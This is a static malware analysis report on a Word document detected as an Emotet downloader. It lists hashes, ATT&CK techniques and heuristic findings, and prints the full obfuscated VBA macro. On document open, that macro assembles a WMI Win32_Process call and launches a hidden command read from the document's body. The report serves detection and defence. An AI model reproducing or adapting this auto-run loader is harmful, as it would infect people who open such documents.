Malicious Office (OLE) / .DOCX — malware analysis report

Static analysis result for SHA-256 01df3bf3b8cbb1cb…

MALICIOUS

Office (OLE) / .DOCX

178.5 KB Created: 2020-10-27 08:32:00 Authoring application: Microsoft Office Word First seen: 2026-05-16
MD5: f4c73c1d3b4df28d3351b5e5a75704d1 SHA-1: 06bcdf205f1ab33cdef931f328035be3f2f21b35 SHA-256: 01df3bf3b8cbb1cbb006dbd55f0967a430c79c23f61e68214ef314040aea1f66
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a Microsoft Word document containing VBA macros, as indicated by multiple heuristic firings including OLE_VBA_MACROS and OLE_VBA_PCODE_AUTOEXEC_EXEC. The ClamAV detection explicitly identifies it as 'Doc.Downloader.Emotet-9784225-0', suggesting a downloader functionality. The extracted VBA script, while heavily obfuscated, uses CreateObject and appears to be designed to execute a payload, likely by downloading it from a remote source.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9784225-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9784225-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Jpuj4w5a_b03g0l0_ = CreateObject(Nowf0nh0wnu0b)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15918 bytes
SHA-256: baddc5814f280b1183f5ed27ce7fb5b9c59037bb5bb89b6abd277ce8e9a0cbe5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
293 of 436 identifiers look randomly generated (e.g. 'H4hqv1qwx4gys8985q'); 146 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "X063sh_fd2w"
Attribute VB_Base = "0{99161C9F-1B20-4A12-B609-D4C2803C7041}{BFA54985-355B-4F2A-A975-94DF0C486863}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Fhzn1rd2_ktf4ef2g()
On Error Resume Next
   Dim bYIPMGFPi(5 + 7 + 1 + 5) As String
Set WPpXEJJHg = X063sh_fd2w.Evs6q4do8onvi(tbUWFXEIW)
Dim JTYIfJWOB(5 + 5 + 1 + 6) As String
bYIPMGFPi(cMUjofdlD) = (673 + 8015 + 97)
nVUetGE = UuWdc
bYIPMGFPi(cMUjofdlD) = (VQVCJ + 3)
bYIPMGFPi(cMUjofdlD) = (6 + 3 + IRFpbGFGI)
Dim wjkvGHv(5 + 5 + 1 + 8) As String
Set eAxgDaU = X063sh_fd2w.Evs6q4do8onvi(ScMqsFhIH)
Dim KurKo(7 + 6 + 1 + 6) As String
wjkvGHv(nzCbRAJ) = (8 + 211 + 4)
HSvmG = RsYHkwc
wjkvGHv(nzCbRAJ) = (ujLEkrH + 9)
wjkvGHv(nzCbRAJ) = (7 + 964 + zmmkHAG)
A8vmdhtvh38jyi4d1 = "[ we ]ro[ we " + "][ we ]ce[ we ]s[ we ]s[ we ]" + N5ei7s0ld1hcvr
   Dim qUzrBuyN(7 + 5 + 1 + 7) As String
Set sIFgNDJ = X063sh_fd2w.Evs6q4do8onvi(fPDfUTH)
Dim qWzbAJHlA(7 + 7 + 1 + 4) As String
qUzrBuyN(ZSQHmCA) = (42 + 5171 + 6)
JoogNBF = mSUiwbD
qUzrBuyN(ZSQHmCA) = (FhoGCyWB + 667)
qUzrBuyN(ZSQHmCA) = (2 + 67 + szBOIeXmE)
Dim siKNH(5 + 8 + 1 + 4) As String
Set yFDdD = X063sh_fd2w.Evs6q4do8onvi(lpMRGrG)
Dim HhYBoDJ(7 + 8 + 1 + 6) As String
siKNH(LeVKqFlQ) = (33 + 4 + 23)
QLHQHqPDq = WWCfTEX
siKNH(LeVKqFlQ) = (qzmfFO + 479)
siKNH(LeVKqFlQ) = (3 + 34 + jwRREJQ)
C90zrqy9w1lgm = "[ we ][ we " + "]:[ we ]w[ we ]in[ we ][ we ]3[ we ]2[ we ]_[ we ]" + K67wxr84qji
   Dim YYnyFpDhF(7 + 6 + 1 + 5) As String
Set wmpbE = X063sh_fd2w.Evs6q4do8onvi(wovuC)
Dim qhMPE(8 + 6 + 1 + 6) As String
YYnyFpDhF(hPfrBD) = (830 + 686 + 4253)
WUPKHRgzC = CKbviJ
YYnyFpDhF(hPfrBD) = (bjfGuMuGd + 8)
YYnyFpDhF(hPfrBD) = (5 + 7 + WphxDEw)
Dim BGzhfSAvG(5 + 6 + 1 + 6) As String
Set uLOoBE = X063sh_fd2w.Evs6q4do8onvi(EzSCHG)
Dim lcawDd(6 + 8 + 1 + 6) As String
BGzhfSAvG(shtQQDHI) = (4 + 666 + 39)
QXQiI = kQZyz
BGzhfSAvG(shtQQDHI) = (gxGbNsDI + 6)
BGzhfSAvG(shtQQDHI) = (1155 + 6217 + OfrDEC)
F3rfzkgxlysdhji = "[ we ][ we ]w[ we ]i[ we ]nm[" + " we ][ we ]gm[ we ]t[ we ][ we ]" + Uubf6v2k6gopm71
   Dim LWebC(8 + 6 + 1 + 5) As String
Set NKvZnbnC = X063sh_fd2w.Evs6q4do8onvi(olwsJm)
Dim gboTH(5 + 8 + 1 + 5) As String
LWebC(GMDdUCIv) = (4 + 695 + 747)
PPYFJEAGu = csBeBuBDV
LWebC(GMDdUCIv) = (hZIAFKDi + 3)
LWebC(GMDdUCIv) = (6 + 6 + EQaNhpcEG)
Dim CoKDFhECG(6 + 6 + 1 + 4) As String
Set cADCyq = X063sh_fd2w.Evs6q4do8onvi(KcNrG)
Dim WAdnEIFo(7 + 5 + 1 + 4) As String
CoKDFhECG(dYRer) = (4 + 59 + 5)
XNfXGAJ = VobSrAf
CoKDFhECG(dYRer) = (MqUaxP + 711)
CoKDFhECG(dYRer) = (615 + 7 + RNQiiINH)
Hy8a7b2zt09kzyhgj = ChrW(BuildKeyCode(Arg1:=wdKeyS))
   Dim aHwTuL(5 + 5 + 1 + 4) As String
Set ywHMH = X063sh_fd2w.Evs6q4do8onvi(gBPmGRCn)
Dim KZCxbt(8 + 6 + 1 + 7) As String
aHwTuL(yzfOqOf) = (2 + 8 + 64)
vfYbGHJG = kUrGDBC
aHwTuL(yzfOqOf) = (ZsEPGCSJR + 8)
aHwTuL(yzfOqOf) = (9 + 284 + BcslRAA)
Dim upBWC(8 + 5 + 1 + 5) As String
Set rBkCB = X063sh_fd2w.Evs6q4do8onvi(UDwEDJBMp)
Dim wunePHWFG(8 + 7 + 1 + 7) As String
upBWC(qbUFFEd) = (801 + 1 + 8)
XQPcBBB = GPSAdMhE
upBWC(qbUFFEd) = (ydgHwj + 2145)
upBWC(qbUFFEd) = (6 + 81 + PnJXBwDD)
Rm66cj5c78qco16w = F3rfzkgxlysdhji + Hy8a7b2zt09kzyhgj + C90zrqy9w1lgm + X063sh_fd2w.Pxdprr50j61mq + A8vmdhtvh38jyi4d1
   Dim aJsPEY(8 + 5 + 1 + 6) As String
Set rMMLJII = X063sh_fd2w.Evs6q4do8onvi(sPxrEDIW)
Dim hIShyECF(8 + 8 + 1 + 6) As String
aJsPEY(nVhAJbEDH) = (6790 + 8 + 454)
OBjiPGuWI = gzUqI
aJsPEY(nVhAJbEDH) = (JZlxEBuG + 306)
aJsPEY(nVhAJbEDH) = (5 + 6 + rrKXDxC)
Dim seoGE(6 + 6 + 1 + 6) As String
Set pPWoK = X063sh_fd2w.Evs6q4do8onvi(DRyOBv)
Dim LiEfGIGWX(6 + 7 + 1 + 6) As String
seoGE(jJvLAeA) = (8480 + 165 + 8)
adBCCYtN = YybXi
seoGE(jJvLAeA) = (nclDJ + 8541)
seoGE(jJvLAeA) = (7 + 1 + ZmCVYH)
Nowf0nh0wnu0b = Ux08d5kul4xh8lz_(Rm66cj5c78qco16w)
   Dim ozSTFDCAD(8 + 5 + 1 + 4) As String
Set yNwlHC = X063sh_fd2w.Evs6q4do8onvi(fWiToHT)
Dim pECgEKiDF(8 + 7 + 1 + 7) As String
ozSTFDCAD(QjzqAsKo) = (430 + 32 + 572)
SjMGGG = FWkZBH
ozSTFDCAD(QjzqAsKo) = (JLbvABAe + 4)
ozSTFDCAD(QjzqAsKo) = (33 + 2 + yGYphI)
Dim evXrFFBg(8 + 5 + 1 + 5) As String
Set VCxOFX = X063sh_fd2w.Evs6q4do8onvi(PpJMlCH)
Dim JXHMbE(8 + 8 + 1 + 5) As String
evXrFFBg(ptKJHBo) = (56 + 7 + 2)
AkQFaFFB = WjbuDeAFA
evXrFFBg(ptKJHBo) = (dWlrFG + 7704)
evXrFFBg(ptKJHBo) = (51 + 4022 + KQWRH)
Set Jpuj4w5a_b03g0l0_ = CreateObject(Nowf0nh0wnu0b)
   Dim jARPEzUA(8 + 6 + 1 + 4) As String
Set lljbHFKeA = X063sh_fd2w.Evs6q4do8onvi(IIrIHFII)
Dim echQHQNNw(6 + 7 + 1 + 4) As String
jARPEzUA(TIsVGNWJs) = (2 + 8735 + 3786)
cchDD = cYShdBGCc
jARPEzUA(TIsVGNWJs) = (OGKEFIBu + 8396)
jARPEzUA(TIsVGNWJs) = (84 + 5 + hcSTBF)
Dim OxRfGGAD(5 + 7 + 1 + 7) As String
Set JOKDaHYLY = X063sh_fd2w.Evs6q4do8onvi(yxGDB)
Dim JmqDABAP(7 + 6 + 1 + 6) As String
OxRfGGAD(WeNDYSDU) = (65 + 16 + 9860)
BjOYAmhHh = azyVmFACC
OxRfGGAD(WeNDYSDU) = (wegNAPC + 7)
OxRfGGAD(WeNDYSDU) = (8512 + 8937 + GyOpHA)
Pnea98f3dtt__ = Ga3ymncag9fo5_elc.Paragraphs(4)
   Dim hYwjGn(6 + 6 + 1 + 6) As String
Set SmAcHKG = X063sh_fd2w.Evs6q4do8onvi(NrwpB)
Dim uqahF(5 + 8 + 1 + 4) As String
hYwjGn(IHKgKEFX) = (7 + 195 + 4)
heMhPaz = uSHDEDy
hYwjGn(IHKgKEFX) = (lodmBE + 9)
hYwjGn(IHKgKEFX) = (23 + 565 + vkXBOQfI)
Dim BcNyiPB(6 + 7 + 1 + 4) As String
Set eGHzAEf = X063sh_fd2w.Evs6q4do8onvi(iAhYEXnGJ)
Dim OEdeBt(8 + 8 + 1 + 5) As String
BcNyiPB(FNqkc) = (28 + 5013 + 1830)
mWqxBBEJ = TJJRtJ
BcNyiPB(FNqkc) = (IYrkDEFG + 73)
BcNyiPB(FNqkc) = (495 + 2420 + RUCJhFQ)
U80hvhv6evww = B44sc127me9bwb + Nowf0nh0wnu0b + Hy8a7b2zt09kzyhgj + X063sh_fd2w.Mn43qjubxshzw + X063sh_fd2w.Yjk74lba7_43l
   Dim lMCjxFmbE(6 + 6 + 1 + 5) As String
Set cgbkBBIZ = X063sh_fd2w.Evs6q4do8onvi(WIPCBJRA)
Dim VPGJQwDYC(6 + 7 + 1 + 7) As String
lMCjxFmbE(RUAKDtGC) = (6 + 21 + 4)
iRhIacB = RgLqG
lMCjxFmbE(RUAKDtGC) = (tdDOKBc + 34)
lMCjxFmbE(RUAKDtGC) = (7 + 598 + YsBzJ)
Dim oQTcGGH(7 + 5 + 1 + 5) As String
Set pxncPI = X063sh_fd2w.Evs6q4do8onvi(gtGgcO)
Dim uKFZDB(6 + 6 + 1 + 5) As String
oQTcGGH(ZlLoGGFqj) = (142 + 20 + 9)
frXdez = EdKQG
oQTcGGH(ZlLoGGFqj) = (gSSCDCDh + 7)
oQTcGGH(ZlLoGGFqj) = (1873 + 8 + mRDgDAy)
Set Nu496mxk7ghq_16v = A54tzi883205e(U80hvhv6evww + X063sh_fd2w.Pxdprr50j61mq)
   Dim nHLGJ(5 + 6 + 1 + 7) As String
Set oGxkEOH = X063sh_fd2w.Evs6q4do8onvi(cEgpCB)
Dim vwqzNFiHH(6 + 8 + 1 + 5) As String
nHLGJ(mPCzlCEw) = (7 + 4 + 2)
cAtNEDmfB = vfAmnGLAf
nHLGJ(mPCzlCEw) = (VdfVFBnA + 4)
nHLGJ(mPCzlCEw) = (1786 + 1890 + wfGgP)
Dim nedKJqKg(5 + 8 + 1 + 5) As String
Set rTWJAAQCE = X063sh_fd2w.Evs6q4do8onvi(bxCJkJGG)
Dim balRHDuDJ(8 + 6 + 1 + 7) As String
nedKJqKg(odvBJF) = (95 + 198 + 94)
AsZxRJo = hmVDAVFDC
nedKJqKg(odvBJF) = (GrCwFJRyG + 1549)
nedKJqKg(odvBJF) = (4 + 6240 + hKULOFHF)
   Dim cWShJFC(8 + 6 + 1 + 8) As String
Set UWYiwfOH = X063sh_fd2w.Evs6q4do8onvi(OFwXF)
Dim WSTtC(5 + 5 + 1 + 8) As String
cWShJFC(OMqSDCB) = (8 + 621 + 3)
zVIBWwUGA = AulNHBec
cWShJFC(OMqSDCB) = (mJFSJCoFF + 75)
cWShJFC(OMqSDCB) = (8 + 3 + XRYbiK)
Dim tpsTBBp(7 + 5 + 1 + 7) As String
Set EnZtEPFJ = X063sh_fd2w.Evs6q4do8onvi(CROdCAABo)
Dim bDtMsE(6 + 6 + 1 + 7) As String
tpsTBBp(TLqYF) = (8 + 1 + 51)
RLwJW = fdxeN
tpsTBBp(TLqYF) = (KyXvHKI + 4)
tpsTBBp(TLqYF) = (1 + 4 + SfIRuI)
   Dim rRcpS(7 + 5 + 1 + 7) As String
Set WVraEvjC = X063sh_fd2w.Evs6q4do8onvi(KnJaUiIGI)
Dim CGczE(5 + 8 + 1 + 7) As String
rRcpS(FzfgpEEAU) = (7885 + 52 + 7)
xblLDGJ = VTMVD
rRcpS(FzfgpEEAU) = (AKaFCIG + 7)
rRcpS(FzfgpEEAU) = (62 + 9 + dPPPANhI)
Dim eVevJGIC(8 + 5 + 1 + 4) As String
Set FNCfFHEId = X063sh_fd2w.Evs6q4do8onvi(EZULkorEB)
Dim VNaUDEA(6 + 7 + 1 + 5) As String
eVevJGIC(nIlGIERPE) = (1 + 858 + 9)
OXqNGCh = mblblEHI
eVevJGIC(nIlGIERPE) = (pzehIEx + 8)
eVevJGIC(nIlGIERPE) = (2 + 1450 + YjBpgxCCr)
Jpuj4w5a_b03g0l0_.Create Ux08d5kul4xh8lz_(Pnea98f3dtt__), Zx7g2bums6giirqk, Nu496mxk7ghq_16v
   Dim oEpcwG(6 + 5 + 1 + 5) As String
Set uaXTGpqh = X063sh_fd2w.Evs6q4do8onvi(SgHqAWEID)
Dim XtUeFXH(7 + 6 + 1 + 6) As String
oEpcwG(GlrXeDbHE) = (616 + 7 + 5)
PWVrQN = PQgWF
oEpcwG(GlrXeDbHE) = (ueIoBqu + 553)
oEpcwG(GlrXeDbHE) = (2 + 2 + DFKdI)
Dim GooZCIQAI(5 + 8 + 1 + 8) As String
Set uzSNG = X063sh_fd2w.Evs6q4do8onvi(aGpEXD)
Dim mfgOkBFFN(8 + 5 + 1 + 6) As String
GooZCIQAI(ZJcSI) = (6 + 474 + 45)
xBacIM = NRoHo
GooZCIQAI(ZJcSI) = (qcYnjBzC + 7)
GooZCIQAI(ZJcSI) = (2 + 28 + ywLQAJ)
   Dim rYcvGHA(5 + 5 + 1 + 7) As String
Set KRhFDIGmG = X063sh_fd2w.Evs6q4do8onvi(osFxCGAEI)
Dim wmoYBIzs(5 + 6 + 1 + 8) As String
rYcvGHA(FHiJpgx) = (1 + 590 + 99)
zRYkHBiE = QlmvT
rYcvGHA(FHiJpgx) = (fLMrEJGAd + 72)
rYcvGHA(FHiJpgx) = (268 + 6446 + RGWjM)
Dim nXBvIS(7 + 5 + 1 + 7) As String
Set FZygGCEYZ = X063sh_fd2w.Evs6q4do8onvi(psqRuFy)
Dim HpVMuC(8 + 7 + 1 + 7) As String
nXBvIS(vuyEoEH) = (401 + 241 + 6)
obRcGgnF = veWzA
nXBvIS(vuyEoEH) = (HghuEF + 7)
nXBvIS(vuyEoEH) = (6 + 4 + zJfSHJXuN)
End Function
Function A54tzi883205e(Ihpr7r8qv5ss)
On Error Resume Next
   Dim OKQSFCFCI(7 + 7 + 1 + 5) As String
Set ZYUVwBk = X063sh_fd2w.Evs6q4do8onvi(QQLqP)
Dim zIeZGtNU(6 + 5 + 1 + 4) As String
OKQSFCFCI(OsoKBDjF) = (6 + 2682 + 2581)
IFcXoZA = WxVGDYel
OKQSFCFCI(OsoKBDjF) = (SRQfCLfGi + 9457)
OKQSFCFCI(OsoKBDjF) = (5 + 5 + KYvAE)
Dim ZusjAQJGF(7 + 8 + 1 + 8) As String
Set iYRSGCd = X063sh_fd2w.Evs6q4do8onvi(LpPOEbCCH)
Dim aHNhjAeE(5 + 8 + 1 + 4) As String
ZusjAQJGF(nDdEAKAV) = (3322 + 641 + 5111)
pkbWBJ = HoAbVZbq
ZusjAQJGF(nDdEAKAV) = (wUwyFlrD + 2)
ZusjAQJGF(nDdEAKAV) = (22 + 9361 + sNRjfEuL)
Set A54tzi883205e = Zdk53byq4tt.Mxp9u2gkx5fzoizp3(Tp2xr2tc4f52y1y5t + Ihpr7r8qv5ss + Uqz_psrky8stp7)
   Dim uXmzAYDVE(7 + 7 + 1 + 7) As String
Set dablEDtG = X063sh_fd2w.Evs6q4do8onvi(UrluL)
Dim PLrNE(8 + 7 + 1 + 6) As String
uXmzAYDVE(PSptBE) = (1 + 92 + 12)
AHGzGHFI = oWasJAEHE
uXmzAYDVE(PSptBE) = (hREzgEKCE + 903)
uXmzAYDVE(PSptBE) = (841 + 62 + mngHeJF)
Dim HMTae(7 + 5 + 1 + 4) As String
Set QlQjPIF = X063sh_fd2w.Evs6q4do8onvi(HKyhEAYrV)
Dim SwQqDIB(6 + 6 + 1 + 5) As String
HMTae(cyVTD) = (3 + 5 + 31)
dCkpoGIE = pliLG
HMTae(cyVTD) = (TGKfocOE + 62)
HMTae(cyVTD) = (914 + 72 + cdFrJPUA)
A54tzi883205e _
. _
showwindow# = 0
   Dim YAzGsJIZD(7 + 5 + 1 + 4) As String
Set YagZDCCf = X063sh_fd2w.Evs6q4do8onvi(LCBtKFHBA)
Dim kmglJC(5 + 7 + 1 + 7) As String
YAzGsJIZD(XhniB) = (4798 + 3 + 3)
EmKYGgF = djTskbBD
YAzGsJIZD(XhniB) = (WOBwOHBbF + 88)
YAzGsJIZD(XhniB) = (131 + 7 + xMbKmHDmt)
Dim jibNSHLI(6 + 7 + 1 + 7) As String
Set DQdASAUYz = X063sh_fd2w.Evs6q4do8onvi(DhzfkGJ)
Dim spQRWxII(5 + 8 + 1 + 8) As String
jibNSHLI(xinDCDlC) = (48 + 25 + 138)
KpvvV = dUWGKQ
jibNSHLI(xinDCDlC) = (RAhAE + 1223)
jibNSHLI(xinDCDlC) = (33 + 7 + qoJdCRCE)
End Function
Function Ux08d5kul4xh8lz_(Eiw2nbepwd3at646)
On Error Resume Next
   Dim XXIzBzAT(7 + 8 + 1 + 6) As String
Set dZKutoMAF = X063sh_fd2w.Evs6q4do8onvi(rFhvAEDb)
Dim oifQXBlU(5 + 7 + 1 + 8) As String
XXIzBzAT(ugPdEIxS) = (62 + 4874 + 8)
AlaDWBHEa = YrxvjE
XXIzBzAT(ugPdEIxS) = (CPxWAD + 3394)
XXIzBzAT(ugPdEIxS) = (8047 + 270 + iGASIyH)
Dim wHWZH(7 + 5 + 1 + 5) As String
Set FprXM = X063sh_fd2w.Evs6q4do8onvi(EwtfjCDG)
Dim bnngBKA(5 + 6 + 1 + 8) As String
wHWZH(yEpAY) = (5 + 7 + 31)
TOhXiJHD = EihrCjE
wHWZH(yEpAY) = (vnLWHICP + 3)
wHWZH(yEpAY) = (8 + 5 + VsUlFs)
H4hqv1qwx4gys8985q = (Eiw2nbepwd3at646)
   Dim MnoCX(8 + 6 + 1 + 5) As String
Set OnubAJ = X063sh_fd2w.Evs6q4do8onvi(hXnHOHXAZ)
Dim oaehAF(6 + 8 + 1 + 6) As String
MnoCX(BzlXFzJp) = (1 + 4 + 6)
yfqtB = jxPYFv
MnoCX(BzlXFzJp) = (AHYfCDBGG + 468)
MnoCX(BzlXFzJp) = (4 + 25 + AuWAHDBD)
Dim ALIjBoI(5 + 8 + 1 + 4) As String
Set LDjuFGjO = X063sh_fd2w.Evs6q4do8onvi(VyJWIWXDB)
Dim cGwuA(7 + 8 + 1 + 4) As String
ALIjBoI(ZTjUJVG) = (70 + 87 + 26)
xCwQbKI = kpbtDdp
ALIjBoI(ZTjUJVG) = (ETfDAGCs + 682)
ALIjBoI(ZTjUJVG) = (240 + 1 + maCni)
Ahron_5esr0qbha72b = Zdk53byq4tt.P_1a0zgmdab(H4hqv1qwx4gys8985q)
   Dim sLyUIBJG(8 + 7 + 1 + 6) As String
Set nHTnfAJ = X063sh_fd2w.Evs6q4do8onvi(FojsCIBE)
Dim fDWUBDBHn(6 + 5 + 1 + 4) As String
sLyUIBJG(zeJCVE) = (8 + 5105 + 8)
gwFqAx = UybBS
sLyUIBJG(zeJCVE) = (SxZxA + 9)
sLyUIBJG(zeJCVE) = (9476 + 4885 + KWqnJ)
Dim PxVJFlYu(6 + 8 + 1 + 4) As String
Set omNTyQGe = X063sh_fd2w.Evs6q4do8onvi(wrDsfJ)
Dim grXAA(8 + 6 + 1 + 4) As String
PxVJFlYu(LTgSq) = (9715 + 58 + 92)
HmmfAGE = LKFOJE
PxVJFlYu(LTgSq) = (IdMpCT + 12)
PxVJFlYu(LTgSq) = (2 + 9 + HnFUIBF)
Ux08d5kul4xh8lz_ = Ahron_5esr0qbha72b
   Dim ngCtEEJIf(8 + 7 + 1 + 6) As String
Set EVfwIHJJC = X063sh_fd2w.Evs6q4do8onvi(WRMrVTZo)
Dim FWHOJJ(5 + 6 + 1 + 5) As String
ngCtEEJIf(FKpYC) = (2 + 35 + 18)
sfMLEOES = xucRikYDH
ngCtEEJIf(FKpYC) = (ZyfdFb + 948)
ngCtEEJIf(FKpYC) = (1234 + 8 + libOJ)
Dim hWqOW(7 + 7 + 1 + 8) As String
Set rWauHB = X063sh_fd2w.Evs6q4do8onvi(CnCebcIFY)
Dim wnMYADIJG(7 + 8 + 1 + 4) As String
hWqOW(aglvEDAA) = (295 + 9 + 2393)
eVpuPGsd = qraiFsil
hWqOW(aglvEDAA) = (gSrKHdA + 5)
hWqOW(aglvEDAA) = (8044 + 25 + HomgExHQD)
End Function
Function Evs6q4do8onvi(Dkhkas8md981v6fso)
Bz6c3_jggdxvk298 = Krus87dvbt37qto
End Function


Attribute VB_Name = "Zdk53byq4tt"
Function P_1a0zgmdab(U80hvhv6evww)
On Error Resume Next
   Dim XUqlIB(5 + 7 + 1 + 7) As String
Set XAJED = X063sh_fd2w.Evs6q4do8onvi(XisiJQOG)
Dim MXBDBt(8 + 7 + 1 + 7) As String
XUqlIB(FhwLFF) = (6 + 4 + 286)
sxabCz = sMMkgEnXW
XUqlIB(FhwLFF) = (JMgxrDm + 2)
XUqlIB(FhwLFF) = (464 + 8 + gPyATZHV)
Dim JYMPB(8 + 7 + 1 + 7) As String
Set BUWcCGEH = X063sh_fd2w.Evs6q4do8onvi(tbKyB)
Dim luCNM(5 + 6 + 1 + 7) As String
JYMPB(gDvfDEqqD) = (7 + 8 + 9)
NazywEGCC = oYhKJ
JYMPB(gDvfDEqqD) = (RnuTCGy + 3)
JYMPB(gDvfDEqqD) = (1 + 4 + TEnVFJ)
P_1a0zgmdab = Replace(U80hvhv6evww, "[ we ]", Te9_yoaa0pm3x)
   Dim rKQPF(5 + 8 + 1 + 6) As String
Set mDWyGG = X063sh_fd2w.Evs6q4do8onvi(VqzaABU)
Dim MtrsBIXEw(8 + 7 + 1 + 6) As String
rKQPF(gOkuvGltc) = (70 + 43 + 804)
OBFfxFNV = VFuRGHIB
rKQPF(gOkuvGltc) = (rWLzu + 8)
rKQPF(gOkuvGltc) = (9596 + 3 + oggNiE)
Dim zSMnAU(7 + 8 + 1 + 8) As String
Set zoAWpvGKC = X063sh_fd2w.Evs6q4do8onvi(lzQQd)
Dim qWaNer(6 + 8 + 1 + 7) As String
zSMnAU(MBDvEl) = (1737 + 7 + 4)
xilKwUCRu = YfqaCuGHD
zSMnAU(MBDvEl) = (rBymgmJVj + 86)
zSMnAU(MBDvEl) = (47 + 6483 + xDJey)
End Function
Function Mxp9u2gkx5fzoizp3(C6bp9z7qjprrfr)
On Error Resume Next
   Dim cyejVBI(8 + 6 + 1 + 4) As String
Set BUlCJF = X063sh_fd2w.Evs6q4do8onvi(yKMcE)
Dim hLYTeAApE(8 + 7 + 1 + 7) As String
cyejVBI(EnmZfUAA) = (3 + 9625 + 4)
fQnKku = lsZXY
cyejVBI(EnmZfUAA) = (albKH + 6)
cyejVBI(EnmZfUAA) = (2533 + 43 + vwFOYdGGq)
Dim jizqH(7 + 5 + 1 + 4) As String
Set kRTdBzBb = X063sh_fd2w.Evs6q4do8onvi(eVpWEXC)
Dim QwagO(5 + 8 + 1 + 6) As String
jizqH(INjHE) = (6 + 4635 + 95)
gdHgDCI = guqeFC
jizqH(INjHE) = (JTSAYEW + 2)
jizqH(INjHE) = (70 + 926 + HOxXbu)
Set Mxp9u2gkx5fzoizp3 = CreateObject(C6bp9z7qjprrfr)
   Dim ncUKF(6 + 5 + 1 + 6) As String
Set FcanIcH = X063sh_fd2w.Evs6q4do8onvi(DPCtBF)
Dim AVgLBl(6 + 7 + 1 + 4) As String
ncUKF(soLJAGTD) = (6463 + 3 + 9)
EZBbTa = bdCbf
ncUKF(soLJAGTD) = (EqBUDA + 5)
ncUKF(soLJAGTD) = (95 + 7 + pxubH)
Dim CWAXsB(6 + 7 + 1 + 8) As String
Set gblXDaF = X063sh_fd2w.Evs6q4do8onvi(nhdjS)
Dim wfUZAHrW(7 + 7 + 1 + 7) As String
CWAXsB(PZGdF) = (4 + 55 + 3)
myLuvWpI = MMZZG
CWAXsB(PZGdF) = (oTSwWICG + 7)
CWAXsB(PZGdF) = (9 + 6168 + MIEjSGGYA)
End Function

Attribute VB_Name = "Ga3ymncag9fo5_elc"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
X063sh_fd2w.Fhzn1rd2_ktf4ef2g
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.